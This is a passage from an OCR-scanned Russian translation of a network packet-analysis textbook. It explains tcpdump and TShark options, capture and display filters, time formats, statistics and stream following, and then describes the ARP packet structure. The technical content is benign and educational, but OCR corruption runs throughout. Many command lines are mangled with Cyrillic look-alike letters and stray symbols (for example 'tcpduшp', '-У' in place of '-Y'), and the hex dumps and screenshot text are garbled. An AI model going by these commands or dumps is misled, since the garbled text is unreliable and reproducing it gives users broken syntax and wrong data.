Результат, выводимый по данной команде, приведен на рис. 6.2. 

sttndersfpp,a: ... $ tcpdu•p ·Xr pttckets.pc.ap ~с1 
read1ng fro~ f1le packets.pcop, l!nk-type ЕN!емв (Ethernot) 
13:26:25.265937 IP 172.16.16.139 > il.rf!lsolvers . 1@vf!!l3.net: ICMP f!Cho rflqut1st 1 id 1759, Sf!q 150, length 64 

ехеоое : 4500 0054 91са 4000 4001 0640 ас10 1е8ь е •• т •. (Цl •• f .... 
ехео10: 8402 е201 евее аЬ0• 06df 0896 5144 7856 .•••... • . . .• QOxV 
ехе02е: еее0 е0ее Ь9ео 040е е0ее ее0е 1011 1213 .•••• . ••••.••... 
0х003е : 1415 1617 1819 1а1ь tc1d 1•1f 2021 2223 •.•.•. .••. •.. 1 "• 
ех0е40: 2425 2627 2829 2а2ь 2'2d 2•2f 3031 3233 $Х&'()",-./8123 

ехее5е: 3435 3637 4567 

Рис. 6.2. Просмотр в tcpdump исходных пакетов в шестнадцатеричной фор
ме и в коде ASCll 

Утилита tcpdшnp позволяет также анализировать пакеты более подробно , 

чем требуется. Выводимые результаты из анализа можно также просматри

вать только в шестнадцатеричной форме, используя аргумент -х, или же толь

ко в коде ASCII, используя аргумент -А. 
Приступая к экспериментированию с данными из перехваченных пакетов, 

можно очень легко почувствовать подавленность от их объема. На мой взгляд, 

эффективнее всего пользоваться минимальным объемом информации при 

анализе пакетов в режиме командной строки. Начните с просмотра пакетов в 

их стандартном списочном представлении, прибегая к дополнительным уров

ням детализации выводимых результатов, когда требуется свести анализ до 

нескольких пакетов, представляющих особый интерес. Такой подход позво· 

лит уберечься от подавленности из-за чрезмерных объемов анализируемых 

данных. 
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Преобразование имен 
Как и в Wireshark, в угилитах TShark и tcpdшnp предпринимается попытка 

выполнить преобразование имен, чтобы вместо IР-адресов и номеров портов 

вывести соответствующие имена. Если вы внимательно следовали предыду

щим примерам, то, возможно, заметили, что это происходит по умолчанию. 

Но, как упоминалось ранее, я обычно предпочитаю отменять режим преоб

разования имен, чтобы исключить вероятность формирования дополнитель

ных пакетов в сети вследствие анализа уже имеющихся пакетов. 

Чтобы отменить преобразование имен в TShark, можно указать аргумент 
-n в командной строке. Этот аргумент, как и многие другие, можно сочетать с 

другими аргументами для повышения удобочитаемости получаемых результа

тов, как показано ниже. 

C:\Program Files\Wireshark>tshark -ni 1 

Определенные аспекты преобразования имен можно активизировать или 

дезактивизировать с помощью аргумента -N. Если указать этот аргумент в ко

мандной строке, то преобразование имен будет полностью отменено, за ис

ключением любых его аспектов, которые вы явно активизируете с помощью 

соответствующих значений. Например, по следующей команде преобразова

ние номеров портов будет активизировано только на транспортном уровне: 

C:\Program Files\Wireshark>tshark -i 1 -Nt 

В одной команде можно объединить несколько значений аргументов. А по 

следующей команде преобразование имен будет активизировано как на транс

портном уровне, так и на канальном уровне МАС-адресов: 

C:\Program Files\Wireshark>tshark -i 1 -Ntm 

Ниже приведены значения, которые можно использовать вместе с аргу

ментом -N. 

m Преобразование МАС-адресов 

n Преобразование сетевых адресов 

t Преобразование номеров портов на транспортном уровне 

N Применение внешних преобразователей сетевых имен 

С Выполнение параллельного поиска в службе DNS 

В угилите tcpdшnp можно отменить преобразование IР-адресов с помощью 

аргумента -n, а с помощью аргумента -nn - преобразование номеров портов. 



Этот аргумент можно также объединять с другими аргументами командной 

строки, как показано ниже. 

sanders@ppa:-$ tcpduшp -nni. ethl 

В приведенных ниже примерах демонстрируется перехват пакетов снача

ла с активизированным преобразованием номеров портов, а затем с отменен

ным (аргумент -n). 

sanders@ppa:-$ tcpduшp -r tcp_;юrts.pcap -cl 

reading from file tcp_ports.pcap, link-type ЕNlОМВ (Ethernet) 

14:38:34.341715 IP 172.16.16.128.2826 > 212.58.226.142. 

u http: Flags [S], seq 3691127924, win 8192, 

options [mss 1460,nop,wscale 2,nop,nop,sackOK], length О 

sanders@ppa:-$ tcpdump -nr tcp_;юrts.pcap -cl 

reading from file tcp_ports.pcap, link-type ENlOMB (Ethernet) 

14:38:34.341715 IP 172.16.16.128.2826 > 212.58.226.142. 

v 80: Flags [SJ, seq 3691127924, win 8192, 

options [mss 1460,nop,wscale 2,nop,nop,sackOKJ, length О 

По обеим приведенным выше командам читается только первый пакет из 

файла перехвата tcp_ports.pcap. В первой команде активизируется преобра
зование номеров портов и порт 80 преобразуется в имя http u, а во второй 
команде просто отображается номер порта v. 

Применение фильтров 
Фильтрация в утилитах TShark и tcpdump выполняется очень удобно пото

му, что в них применяются фильтры перехвата типа BPF. Кроме того, в TShark 
применяются фильтры отображения из Wireshark. Как и в Wireshark, фильтры 
перехвата можно применять в TShark только во время перехвата, а фильтры 
отображения - как во время перехвата, так и при отображении уже перехва

ченных пакетов. Итак, начнем с применения фильтров в TShark. 
Фильтры перехвата можно применять в соответствующей команде, указав 

в ней аргумент -f и синтаксис фильтров BPF в двойных кавычках. Так, по сле
дующей команде будут перехвачены и сохранены только те пакеты, где приме

няется порт получателя 80 и сетевой протокол ТСР: 

C:\Program Files\Wireshark>tshark -ni 1 -w packets.pcap 

~ -f "tcp port 80" 



Фильтры отображения можно применять в соответствующей команде, ука

зав в ней аргумент -У и синтаксис фильтров Wiresl1ark в двойных кавычках. 
Их можно применять и во время перехвата следующим образом: 

C:\Program Files\Wireshark>tshark -ni 1 -w packets.pcap -У "tcp.dstport = 80" 

Фильтры отображения можно применять к уже перехваченным пакетам, 

указав в соответствующей команде тот же самый аргумент. Например, по 

следующей команде будут отображены только те пакеты из файла перехвата 

packets. рсар, которые совпадают с критерием, заданным в фильтре: 

C:\Program Files\Wireshark>tshark -r packets.pcap -У "tcp.dstport = 80" 

В утилите tcpdump фильтры можно указывать в конце команды, заключив 
их в одиночные кавычки. Так, по следующей команде также будут перехваче

ны и сохранены только пакеты с портом получателя 80 и сетевым протоколом 
ТСР: 

sanders@ppa:-$ tcpdump -nni ethO -w packets.pcap 'tcp dst port 80' 

Фильтры можно применять и при чтении пакетов. Например, по следую

щей команде будут отображены только те пакеты из файла перехвата packets. 
рсар, которые совпадают с критерием, заданным в фильтре: 

sanders@ppa:-$ tcpdump -r packets.pcap 'tcp dst port 80' 

Однако если файл перехвата был создан без фильтра, то в нем останутся и 

другие пакеты. Так, по приведенной выше команде ограничение накладыва

ется лишь на то, что отображается на экране при чтении из существующего 

файла перехвата. 

А что, если имеется файл перехвата, содержащий самые разные пакеты, но 

требуется отсеять лишь их подмножество и сохранить его в отдельном файле? 

Это можно сделать, указав вместе аргументы -w и -r, как, например, в следую

щей команде: 

sanders@ppa: -$ tcpdump -r packets .рсар 'tcp dst port 80' -w http yackets .рсар 

По данной команде из файла packets. рсар читается и отсеивается только 
тот сетевой трафик, который направляется в порт 80 по протоколу ТСР, как 
это происходит в протоколе НТТР, а полученные в итоге пакеты записывают

ся в новый файл http _packets .рсар. Такая методика нередко применяется в 
том случае, если требуется сохранить крупный исходный файл перехвата, но 

анализировать пакеты из него лишь небольшими порциями. Я лично пользу

юсь этой методикой, чтобы свести сначала содержимое очень крупного файла 



перехвата к небольшому подмножеству пакетов средствами tcpdump, а проана

лизировать его в Wireshark. Ведь обрабатывать небольшие файлы перехвата 
намного проще. 

Помимо указания фильтров непосредственно в командной строке, утилита 

tcpdump позволяет обращаться к файлу типа BPF, содержащему целые последо
вательности фильтров. Это очень удобно в том случае, если требуется приме

нить очень крупный или сложный фильтр, редактировать и сопровождать ко

торый в командной строке было бы в противном случае очень неудобно. Файл 

типа BPF можно указать с помощью аргумента -F следующим образом: 

sanders@ppa:-$ tcpdulllp -nni ethO -F dns_servers.Ьpf 

Если файл типа BPF станет слишком крупным, у вас может возникнуть ис
кушение дополнить его комментариями или примечаниями, чтобы знать на

значение каждой его части. Следует, однако, иметь в виду, что комментарии 

в файле типа BPF не допускаются, и если в нем встретится что-нибудь, кроме 
операторов фильтрации, это приведет к ошибке. Но поскольку комментарии 

очень полезны в расшифровке крупных файлов типа BPF, то я обычно храню 
две копии каждого такого файла: одну без комментариев - для применения 

вместе с утилитой tcpdump, а другую - с комментариями для справки. 

Формать1 отображения времени в TShark 
Начинающих анализировать пакеты нередко смущает устанавливаемая по 

умолчанию отметка времени, применяемая в TShark. Отметки времени в па
кетах отображаются в этой утилите относительно начала перехвата пакетов. 

Иногда предпочтительно присваивать отметки времени, но зачастую требует

ся выяснить время, когда пакет бьш перехвачен, как это делается с отметка

ми времени в утилите tcpdump. Того же самого результата можно добиться в 

TShark, указав аргумент -t вместе со значением ad, обозначающим абсолют
ную дату, как показано ниже. 

C:\Prograrn Files\Wireshark>tshark -r pacltets.pcap -t ad 

В следующей команде сравниваются те же пакеты, что и прежде, но с отно

сительными (по умолчанию) О и абсолютными 8 отметками времени: 

О С: \Program Files \Wireshark>tshark -r pacltets .рсар -с2 

1 0.000000 172.16.16.172 -> 4.2.2.1 ICMP Echo (ping) 

request id=OxOOOl, seq=l7/4352, ttl=l28 

2 0.024500 4.2.2.1 -> 172.16.16.172 ICMP Echo (ping) 

reply id=OxOOOl, seq=l7/4352, ttl=54 (request in 1) 



8 C:\Program Files\Wireshark>tshark -r packets.pcap -t ad -с2 
1 2015-12-21 12:52:43.116551 172.16.16.172 -> 4.2.2.1 ICMP Echo (ping) 

request id=OxOOOl, seq=l7/4352, tt1=128 

2 2015-12-21 12:52:43.141051 4.2.2.1 -> 172.16.16.172 ICMP Echo (ping) 
reply id=OxOOOl, seq=17/4352, ttl=54 (request in 1) 

С помощью аргумента -t можно указать любой формат отображения вре
мени, доступный в Wireshark. Перечень этих форматов приведен в табл. 6.1. 

Таблица 6.1. Формат~.1 отображения времени, доступные в TShark 

Значение Отметка времени Пример 

а Абсолютное время перехвата пакета (в текущем 15: 4 7: 58. 004669 
часовом поясе) 

ad Абсолютное время перехвата пакета с указан и- 2015-10-09 15: 47: 58. 004669 
ем даты (в текущем часовом поясе) 

d Разница во времени с предыдущим перехвачен- О. 000140 
ным пакетом 

dd Разница во времени с предыдущим отображен- О. 000140 

е 

r 

ным пакетом 

Время с начало эпохи Uпix ( 1 января 1970 г., 1444420078. 004669 
UТС) 

Время, прошедшее между первым и текущим по- О. 000140 
кетом 

u Абсолютное время перехвата пакета (в формате 19:47:58.004669 
UТС) 

ud Абсолютное время перехвата пакета с указан и- 2015-10-09 19: 4 7: 58. 004669 
ем доты (в формате UТС) 

К сожалению, в утилите tcpdump подобный уровень контроля для манипу
лирования отображением отметок времени отсутствует. 

Сводная статистика в TShark 
Еще одной удобной возможностью, которая выгодно отличает утилиту 

TShark от tcpdump, является генерирование подмножества статистических 
данных из файла перехвата. Процесс формирования статистических данных 

во многом подобен тем возможностям, которые имеются в Wireshark, но он 
легко доступен и:3 командной строки. Чтобы сформировать статистические 

данные, достаточно указать в соответствующей команде аргумент -z вместе с 
названием варианта вывода данных. Так, полный перечень доступных стати

стических данных можно просмотреть по следующей команде: 

C:\Program Files\Wireshark>tshark -z help 



Многие из уже рассмотренных выше возможностей TShaгk досrупны с по

мощью аргумента -z. К их числу относится возможность выводить статистиче
ские данные о конечных точках и сетевых диалогах. Так, по приведенной ниже 

команде на экран выводится таблица статистических данных о диалогах по се

тевому протоколу IP, обнаруженных в файле перехвата packets. рсар (рис. 6.3). 

C:\Program Files\Wireshark>tshark -r packets.pcap -z conv,ip 

Рис. 6.3. Просмотр статистических данных о сетевых диалогах средствами TShark 

С помощью аргумента -z можно также просматривать сведения о конкрет
ном сетевом протоколе. Как пока:~ано ниже и на рис. 6.4, для просмотра рас
пределения НТТР-запросов и ответов в табличной форме вместе с этим аргу

ментом достаточно указать вариант вывода http, tree. 

C: \ Program Files\Wireshark>tshark -r packets.pcap -z http,tree 

Еще одной полезной возможностью программы TSl1aгk является просмотр 

повторно собранного выходного потока. Эти действия мы нроделывали рань

ше в программе Wiгesl1ark, когда щелкали правой кнопкой мыши на пакете и 

из контекстного меню выбирали команду FollowQTCP Stream. Для получения 
подобного отчета мы должны задать в командной строке параметр follow 
и указать тип потока, режим вывода и какой из номеров потоков мы хотим 

отобразить. Потоки идентифицируются по тем номерам, которые отобража

ются в левой колонке при выводе статистических данных о сетевых диалогах 

(см. рис. 6.3). Команда для получения отчета приведена ниже. 

C: \ Program Files\Wireshark>tshark -r http_gooqle.pcap -z follow,tcp,ascii,O 
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Рис. 6.4. Просмотр статистических данных о НТТР-запросах и ответах 
средствами TShark 

Stoi"М: 

А по приведенной ниже команде нулевой поток по протоколу ТСР будет 

выведен на экран в коде ASCII из файла перехвата http _google. рсар. Здесь же 
показан результат, выводимый по данной команде. 

C:\Program Files\Wireshark>tзhark -r http_google .pcap -z 
-- фрагмент --

Follow: tcp,ascii 
Filter: tcp.stream eq О 
Node О: 172.16 . 16 . 128:1606 
Node 1: 74.125.95.104:80 
627 
GET / НТТР/1.1 

Host: www.google.com 
User-Agent: Mozilla / 5.0 (Windows; U; Windows NT 6. 1; 
~ en-US; rv:l.9.1.7 ) 
Gecko/20091221 Firefox/3.5.7 
Accept: text/html,application/xhtml+xml,application/ xml; 
~ q=O. 9, * / *; q=O. 8 
Accept- Language: en- us, en;q=0. 5 
Accept-Encoding: gzip,deflate 
Accept-Charset: IS0-8859-l,utf-8;q=0.7,*;q=0.7 
Keep-Alive: 300 
Connection: keep-alive 
Cookie: PREF=ID=257913a938eбc248:U=267c896b5f39fb0b:FF=4:LD=e 

n:NR=l0:TM=l260730654 :1М=l265479336:GМ=l:S=hlUBGonTuWU3D23L; 

NID=3l=Z-nhwMjUP63e 0tYМTp-3TligMSPnNSleMlkNl 

~ DUrn02zWlcPM4JE3AJec9b vG-
~ FibFXszOApfЬhBAlBOX4dКx4L8ZDdeiKwqekgP5 

~ kzELtC2mUHx7RHx3PittcuZ 



1406 
НТТР/1.1 200 ОК 
Date: Tue, 09 Feb 2010 01:18:37 GMT 
Expires: -1 
Cache-Control: private, max-age=O 
Content-Type: text/html; charset=UTF-8 
Content-Encoding: gzip 
Server: gws 
Content-Length: 4633 
X-XSS-Protection: О 

Имеется также возможность указать поток, который требуется просмо

треть, предоставив подробные сведения об адресе. Например, по приведен

ной ниже команде из файла перехвата packets. рсар будет извлечен поток 

по протоколу UПР для указанных конечных точек и портов. В частности, по 

данной команде из указанного файла перехвата будет выведен поток UDP для 

конечной точки с адресом 192 .168 .1. 5 в порту 23429 О и конечной точки с 

адресом 4 .2.2 .1впорту53 8. 

C:\Program Files\Wireshark>tshark -r packets.pcap -z 

~ follow,udp,ascii,192.168.1.5:23429 0,4.2.2.1:53 8 

Ниже перечислены некоторые из наиболее употребительных (в том числе 

и мной) вариантов вывода статистических данных из файла перехвата. 

• ip_hosts,tree. Отображает каждый IР-адрес из файла перехвата наряду 
с интенсивностью и долями в процентах сетевого трафика, приходяще

гося на каждый адрес. 

• io, phs. Отображает иерархию всех сетевых протоколов, обнаруженных 
в файле перехвата. 

• http, tree. Отображает статистические данные, касающиеся НТТР-за
просов и ответов. 

• http_req,tree. Отображает статистические данные по каждому 

НТТР-запросу. 

• smЬ, srt. Отображает статистические данные по командам протокола 
SMB для анализа обмена данными по сети в Windows. 

• endpoints, wlan. Отображает статистические данные о конечных точках 
в беспроводной сети. 

• expert. Отображает экспертную информацию (диаграммы, ошибки и 
прочее) из файла перехвата. 

Имеется немало других полезных вариантов, доступных для применения 

вместе с аргументом -z, но здесь, к сожалению, недостаточно места, чтобы 



описать их полностью. Впрочем, если вы собираетесь часто пользоваться 

угилитой TShark, вам следует ознакомиться с официальной документацией, 
чтобы изучить все варианты, досrупные для вывода статистических данных о 

перехваченном сетевом трафике. Эту документацию можно найти по следую

щему адресу: 

https://www.wireshark.org/docs/man-pages/tshark.html 

Сравнение утилит TShark и tcpdump 
Обе угилиты командной строки, предназначенные для анализа пакетов и 

рассмотренные ранее в этой главе, вполне пригодны для решения соответ

ствующих задач, и любая из них позволит решить любую насущную задачу с 

разной степенью прилагаемых усилий. Ниже перечислены некоторые суще

ственные отличия угилит TShark и tcpdump, которые следует иметь в виду, вы
бирая наиболее подходящую из них для решения конкретной задачи. 

• Операционная система. Утилита tcpdump доступна только в Uпiх-по
добных операционных системах, тогда как угилита TShark может функ
ционировать как в Uпiх-подобных операционных системах, так и в 

Wiпdows. 

• Поддержка протоколов. В обеих угилитах поддерживаются сетевые 

протоколы третьего и четвертого уровня. Хотя поддержка сетевых 

протоколов седьмого уровня в угилите tcpdump ограничена, в угилите 
TShark она довольно полная, поскольку в ней доступны интерпретато
ры сетевых протоколов в Wireshark. 

• Средства анализа пакетов. Обе угилиты в значительной мере опира

ются на способности человека анализировать и получать такие же ощу

тимые результаты, как и в Wireshark. Это может оказать существенную 
помощь при анализе пакетов в отсугствие графического интерфейса. 

Наличие подходящих инструментальных средств для анализа пакетов и 

личные предпочтения обычно имеют решающее значение при их выборе. 

Правда, эти инструментальные средства обладают настолько схожими воз

можностями, что, изучая одно из них, можно узнать немало о другом. Благо

даря этому ваши возможности становятся более универсальными и в то же 

время расширяется арсенал ваших инструментальных средств для анализа па

кетов. 



ПРОТОКОЛЫ СЕТЕВОГО УРОВНЯ 

Чтобы обнаружить ненормальный сетевой трафик, 

включая диагностику сетевых задержек, выявление 

зловредных приложений или полное устранение угроз 

безопасности, необходимо знать, что собой представляет 

нормальный сетевой трафик. В этой и двух последующих гла

вах поясняется, каким образом действует сетевой трафик как на уровне паке

тов, так и на всех уровнях модели OSI снизу вверх. С каждой рассматриваемой 
здесь частью сетевого протокола связан хотя бы один файл перехвата, кото

рый можно загрузить и использовать непосредственно. 

В этой главе основное внимание уделяется протоколам сетевого уровня, 

которые являются основным исполнительным механизмом обмена данных по 

сети. К их числу относятся протоколы ARP, 1Pv4, IPvб, ICMP и ICMPvб. 
Эта и две последующие главы, посвященные сетевым протоколам, безус

ловно, относятся к самым главным в данной книге. Пропустить материал этих 

глав - все равно, что пытаться готовить праздничный обед, не разогрев печь. 

Если вы уже знаете досконально принцип действия сетевых протоколов, про



Протокол преобразования адресов (ARP) 
Логические и физические адреса служат для обмена данными по сети. 

В частности, логические адреса служат для обмена данными по нескольким 

сетям между косвенно связанными устройствами. А физические адреса упро

щают обмен данными в одном сегменте сети между устройствами, непосред

ственно связанными друг с другом через коммутатор. Как правило, оба эти 

типа адресации должны взаимодействовать, чтобы произошел нормальный 

обмен данными по сети. 

Рассмотрим в качестве примера сценарий, где требуется передать данные 

в устройство, подключенное к сети. Этим устройством может быть сервер с 

определенным портом или рабочая станция, с которой требуется обменивать

ся данными с устройством в сети. Приложению, применяемому для инициа

лизации обмена данными, уже известно об удаленном IР-адресе хоста (через 

службу DNS, как поясняется в главе 9). Это означает, что у системы должно 
быть все, что ей потребуется для формирования данных от третьего до седь

мого уровня в пакете, который необходимо передать. И лишь частью данных, 

требующихся в данный момент, является информация второго канального 

уровня, содержащая МАС-адрес целевого хоста. 

МАС-адреса необходимы потому, что в коммутаторе, соединяющем устрой

ства в сети, используется таблица ассоциативной памяти, в которой перечис

лены МАС-адреса всех устройств и соответствующие им номера портов. Ког

да коммутатор принимает сетевой трафик, предназначенный для устройства 

с конкретным МАС-адресом, он использует данную таблицу, чтобы выяснить 

номер порта, через который следует переслать этот трафик. Если же МАС-а

дрес получателя неизвестен, то передающее устройство сначала поищет этот 

адрес в своем кеше. А если искомый адрес отсутствует и в кеше, то он может 

быть получен путем дополнительного обмена данными по сети. 

Процесс, применяемый при организации сети по протоколу ТСР /IP (с ис
пользованием протокола 1Pv4) для преобразования IР-адреса в МАС-адрес, на
зывается протаколом преобразования адресов (Address Resolutioп Protocol -ARP). 
Он определен в стандарте RFC 826. В процессе преобразования адресов по 
протоколу ARP применяются только два типа пакетов: АRР-запрос и АRР-от
вет (рис. 7.1). 

leiplИIUМlllll Стандарт RFC (Request far Coтments - запрос комментариев) является 

техническим изданием, вътускШ!Мъtми сообществами IETF (Eпgi,neeriпg 
Task Farce- Инженерный совет Интернета) и ISOC (Iпtemet Society- Соо6 
щество Интернета) и предназначенным в качестве механизма для опре

деления стандартов, реализуемых для сетевых протаколов. Найти нуж

ную дакументацию по сетевъtм протоколам можно на началъной стра

нице RFC Editor, доступной по адресу http://ww.rfc-editor.org/. 
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~----'-~= 

D 
•....... "" 

·--------" 

АRР-запрос 

••••• 
1-------------~ ..... 

IР-адрес отправителя: 192.168.0.101 
МАС-адрес оmравителя: f2:f2:f2:f2:f2:f2 
IР-адрес получателя: 192.168.0.1 
МАС-адрес получателя: 00:00:00:00:00:00 

АRР-ответ 

••••• -------------1 ..... 
IР-адрес отправителя: 192.168.0.1 
МАС-адрес оmравителя: 02:f2:02:f2:02:f2 
IР-адрес получателя: 192.168.0.101 
МАС-адрес получателя: f2:f2:f2:f2:f2:f2 

Рис. 7. 1. Процесс преобразования адресов по протоколу ARP 

Передающий компьютер посылает АRР-запрос, в котором сообщается 

следующее: "Всем привет. Мой IР-адрес - 192 .168. О .101, а мой МАС-адрес -

f2: f2: f2: f2: f2: f2. Мне нужно послать кое-что тому, у кого имеется IР-адрес 
192 .168. О .1, но я не знаю его физический адрес. Может ли тот, у кого этот 
IР-адрес, сообщить мне свой МАС-адрес?" 

Этот пакет посылается в широковещательном режиме и поэтому принима

ется на каждом устройстве в сетевом сегменте. Все устройства, не имеющее 

указанного IР-адреса, должны проигнорировать упомянутый выше запрос. 

А устройство с указанным IР-адресом должно отправить следующий АRР

ответ: "Привет передающему устройству! Я именно тот, кого вы ищете по IР

адресу 192 .168. О .1. Мой МАС-адрес - 02: f2: 02: f2: 02: f2". 
Как только процесс преобразования адресов завершится, передающее 

устройство обновит свою кеш-память и поместит в нее соответствие МАС- и 

IР-адресов приемного устройства и начнет передачу данных. Наблюдая этот 

процесс в действии, можно понять, как именно он действует. Но прежде чем 

перейти к конкретным примерам, рассмотрим структуру заголовка АRР-пакета. 



lllQIИIPЩiiil Чтобы просмотретъ АRР-таблицу хостов в системах Unix и Windows, 
достатачно ввести команду arp -а в командной стрО'Ке. 

Структура АRР-пакета 

Как показано на рис. 7.2, АRР-пакет состоит заголовка, содержащего опи
санные ниже поля. 

Протокол преобразования адресов (ARP) 

Смещение Октет о 1 з 4 

Окm Бит 0-7 8-15 0-7 8-15 

о о Тип оборудования Тип протокола 

4 32 lЩинашического 
еса Дnина протокольного адреса Операция 

8 64 Физический адрес отправителя 

12 96 Физический адрес отправителя Протокольный адрес отправителя 

16 128 Протокольный адрес отправителя Физический адрес получателя 

20 160 Физический адрес получателя 

24+ 192+ Протокольный адрес получателя 

Рис. 7.2. Структура заголовка в АRР-пакете 

• Тип оборудования (Hardware Туре). Тип среды, применяемой на 
втором уровне для передачи данных. Как правило, это сеть Ethernet 
(т.е. тип 1). 

• Тип протокола (Protocol Туре). Сетевой протокол верхнего уровня, 
который используется для передачи АRР-запроса. Как правило это 1Pv4 
(Ох0800). 

• Длина физического адреса (Hardware Address Length). Длина 
применяемого физического адреса (в октетах или байтах). Для сети 

Ethernet ее величина равна 6. 

• Длина протокольного адреса (Protocol Address Length). Длина при
меняемого логического адреса по протоколу указанного типа (в октетах 

или байтах). Для протокола 1Pv4 ее величина равна 4. 

• Операция (Operation). Функция пакета: код 1 - для запроса или код 

2 - для ответа. 

• Физический адрес отправителя (Sender Hardware Address). Физи
ческий адрес, присвоенный отправителю пакетов. 

• Протокольный адрес отправителя (Sender Protocol Address). Про
токольный адрес, присвоенный отправителю пакетов. 



• Физический адрес получателя (Target Hardware Address). Иско
мый физический адрес получателя. В АRР-запросе указываются все нули. 

• Протокольный адрес получателя (Target Protocol Address). Пред
полагаемый адрес получателя пакета по протоколу верхнего уровня. 

А теперь откройте файл перехвата arp_resolution.pcapng, чтобы наблю

дать процесс преобразования адресов в действии. Рассматривая этот про

цесс, уделим основное внимание каждому пакету в отдельности. 

Пакет 1: АRР-запрос 

Файл перехвата arp _ 

resolution.pcapng 

Первым пакетом следует АRР-запрос, как показано на 

рис. 7.3. Чтобы убедиться, что это действительно ши-

роковещательный пакет, достаточно проверить заголо

вок Ethemet в панели Packet Details приложения Wireshark. Адрес получателя 

данного пакета - ff: ff: ff: ff: ff: ff О. Это широковещательный адрес сети 

Ett1ernet, и все, что по нему посылается, будет приниматься всеми устрой

ствам в текущем сегменте сети. Адрес отправителя данного пакета находится 

в Еthеrnеt-заголовке и , по существу, является МАС-адресом передающего 

устройства 8 . 

• Wirбhark: . Paclc~ 1 arp_r60lut1on о 

> Fга..., 1: 42 bytes оп wiгe (336 bits), 42 bytes coptuгed (336 bits) 

" Etheгnet II, Sгс: НоnНоiРг _бе:ВЬ:24 (00:16:се:бе:ВЬ:24), Dst: Bгoodcost (ff:ff:ff:ff:ff:ff) 

> Destination: 8гo1dc1st (ff:ff:ff:ff:ff:ff) О 

> Souгce: НоnНоiРг _бе:8Ь:24 (00:16:се:бе:ВЬ:24) @ 
Туре: ARP (0х980б) 

..., Address Resolution Protocol (request) 
Н.гdwore type: Etheгnet ( 1) 
Pгotocol type: IPv4 (0><9800) 
Нardw~re size: б 

Protocol size: 4 
Opcode: гequest ( 1) 

€} Sendeг НАС oddгess: НonHoiPr_бe:8b:24 (00:1б:се:бе:8Ь:24) 

Sender IP ~ddress: 192.168.0.114 

Taгget НАС 1ddress: 00:00:00_00:00:00 (00:00:00:00:00:00) О 

Target IP oddгess: 192.168.0. 1 0 

Рис. 7.3. Пакет АRР-запроса 

х 

Принимая во внимание рассматриваемую здесь структуру заголовка паке

та ARP, можно выяснить, что АRР-запрос на самом деле направляется в сети 

Etherнet по протоколу 1Pv4. В нем указан IР-адрес (192 .168. О .114) и МАС

адрес (00:16:се:6е:8Ь:24) отправителя О, а также IР-адрес (192.168.0.1) по

лучателя 0. В то же время МАС-адрес получателя, который требуется выяс

нить, неизвестен, и поэтому он задан как 00: 00 : 00: 00: 00: 00 О. 



Пакет 2: АRР-ответ 
В ответе на первоначальный запрос (рис. 7.4) Еtl1еrnеt·заголовок теперь со

держит адрес получателя, соответствующий МАС·адресу отправителя из пер

вого пакета. Заголовок такого АRР-ответа выглядит таким же образом, как и у 

АRР·запроса, за рядом перечисленных ниже исключений . 

• Wireshark · Pack~ 2 · arp_r6olut1on о 

> Fго11е 2: 46 bytes оп wiгe (368 bits), 46 bytes captuгed (368 Ыts) 
v Ethernet II, Src: D-LinkCo_0Ь : 22:ba (00 : 13 :46:0Ь:22:Ьо), Dst: Нont14iPr _бe:8b:24 (00:1б:се:бе:8Ь:24) 

> Destinotion: НоnНаiРг_бе:8Ь:24 (00 : 16:се : бе:8Ь:24) 

> SOurce: D-linkCo_llЬ:22:ba (00 : 13:4б:0Ь : 22:Ьа) 

Туре: ARP {0х0806) 
Trailer: с0а80072 

v Address Resolution Protocol (reply) 
Hardware type: Etheгnet ( 1) 
Protocol type: IPv4 (0хезоо) 
Нllrdware size: 6 
Protocol size : 4 
Opcode : roply (2) О 
Sender МАС address: D·Link<o_0b : 22:ba (00 : 13:46 : 0Ь:22:Ьа ) б 
Sender IP addr ess: 192.168.0.1 

~ Target МАС oddress: НonHaiPr_6e : 8b:24 (ОО : lб : се:б.:8Ь : 24) 

Target IP addross: 192.168.0. 114 

Рис. 7.4. Пакет АRР-ответо 

х 

• Код операции пакета теперь равен Ох0002 О, обозначая АRР-ответ, а не 

запрос 

• Адресная информация указывается в обратном порядке: сначала МАС· и 

IР-адрес отправителя, а затем МАС- и IР-адрес получателя 8. 

• Но самое главное, что теперь у нас имеется вся необходимая информа· 

ция. Это означает, что мы определили МАС-адрес (00:1З:4б:ОЬ:22:Ьа) 

О хоста, находящегося по адресу 192 .168. О .1. 

Непрошенные, или самообращенные АRР-пакеты 
Файл перехвата arp _ Обычно слово "непрошенный" (gratuitous) имеет отри· 
gratuitous .pcapng цательный оттенок. Но порой необоснованное приме· 

нение протокола ARP все же дает положительный результат, и в этом случае 
его пакеты называются самообращенными. 

IР-адрес устройства нередко может меняться. Когда это происходит, соот

ветствие IP· и МАС·адресов в кеш-памяти сетевых узлов может оказаться не
действительным. Чтобы предотвратить возникающие в связи с этим ошибки 

при обмене данными, по сети передается самообращенный АRР-пакет, кото· 

рый вынуждает любое принимающее его устройство обновить кеш-память 



новым соответствием IP- и МАС-адресов (рис. 7.5). По сути этот пакет анонси
рует изменения по протоколу ARP, произошедшие с конкретным хостом. 

____ .........,: 

D 
.......• ", ........ "" 

••••• -------------~ ..... 
IР-адрес отnравитеnя: 192.168.0.101 
МАС-адрес оmравктеnя: f2:f2:f2:f2:f2:f2 
IР-адрес nоnучатеnя : 192.168.0.101 
МАС -адрес nоnучатеnя : 00:00:00:00:00:00 

Рис. 7.5. Процесс передачи самообращенноrо АRР-пакета 

Появление самообращенного АRР-пакета может произойти в самых раз

ных случаях. И чаще всего это происходит в связи с изменением IР-адреса. 

Чтобы убедиться в этом, откройте файл перехвата arp_gratuitous .pcapng, ко
торый содержит единственный пакет (рис . 7.6), поскольку это все , что пере

дается при самообращенной передаче по протоколу ARP. 

• Wir~h&rk · Pack~ 1 . 11rp_gratuitous о 

> Fra..., 1: 60 bytes on wire (480 bits), б0 bytes captured (480 Ьits) 
v Ethernet II, Src: lnte1Cor_b7:f2:f5 (00:03:47:Ы : f2:f5), Ost: Broadcast (ff:ff:ff:ff:ff:ff) 

> Oestination : Broadcast (ff:ff:ff:ff :ff:ff) О 
> Source: Inte1Cor_Ы : f2:f5 (00:03:47:Ы:f2:f5) 

Туре: ARP (0•0806) 
Padding: ее0000000000000000000000000000000000 

v Address R~so}ution Protocol (request:/grat:uitous ARP) 
Hardware type: Ethernet (1) 
Protocol typ<!: IPv4 (0><0800) 
Hardware si ze: 6 
Pгotocol size: 4 
Opcode: request (1) 
[Is gratuitous: Тгuе] 

Sender МАС address; IntelCor_Ы:f2:fS (00:03:47:Ы:f2 : f5) 

f} Sender IP addr ess: 24.6 . 125.19 
